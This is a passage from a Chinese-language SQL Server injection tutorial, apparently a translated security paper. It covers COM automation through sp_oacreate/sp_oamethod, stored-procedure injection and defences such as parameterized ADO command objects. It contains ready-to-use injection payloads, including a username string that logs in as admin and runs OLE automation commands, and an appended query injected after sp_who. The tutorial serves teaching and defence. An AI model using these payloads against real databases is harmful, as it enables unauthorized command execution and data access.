exec @ret=sp_oamethod @f,'writeline',NULL,''
需要指出的是如果運行的環境是WIN NT4+IIS4平臺上,那么通過這個程序運行的命令是以系統權限運行的。在IIS5中,它以一個比較低的權限IWAM_XXXaccount運行。
(4)這些例子闡述了這個技術的適用性;它可以使用'speech.voicetext'對象引起SQL SERVER發聲:
declare @o int,@ret int
exec sp_oacreate 'speech.voicetext',@o out
exec sp_oamethod @o,'register',NULL,'foo','bar'
exec sp_oasetproperty @o,'speed',150
exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528
waitfor delay '00:00:05'
我們可以在我們假定的例子中,通過指定在用戶名后面來執行它(注意這個例子不僅僅是注入一個腳本,同時以admin權限登陸到應用程序):
Username:admin';declare @o int,@ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty @o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to us',528 waitfor delay '00:00:05'--
[存儲過程]
傳說如果一個ASP應用程序在數據庫中使用了存儲過程,那么SQL注入是不可能的。這句話只對了一半,這要看ASP腳本中調用這個存儲過程的方式。
本質上,如果一個有參數的查詢被執行 ,并且用戶提供的參數通過安全檢查才放入到查詢中,那么SQL注入明顯是不可能發生的。但是如果攻擊者努力影響所執行查詢語句的非數據部分,這樣他們就可能能夠控制數據庫。
比較好的常規的標準是:
· 如果一個ASP腳本能夠產生一個被提交的SQL查詢字符串,即使它使用了存儲過程也是能夠引起SQL注入的弱點。
· 如果一個ASP腳本使用一個過程對象限制參數的往存儲過程中分配(例如ADO的用于參數收集的command對象),那么通過這個對象的執行,它一般是安全的。
明顯地,既然新的攻擊技術始終地被發現,好的慣例仍然是驗證用戶所有的輸入。
為了闡明存儲過程的查詢注入,執行以下語句:
sp_who '1' select * from sysobjects
文章來源于領測軟件測試網 http://www.kjueaiud.com/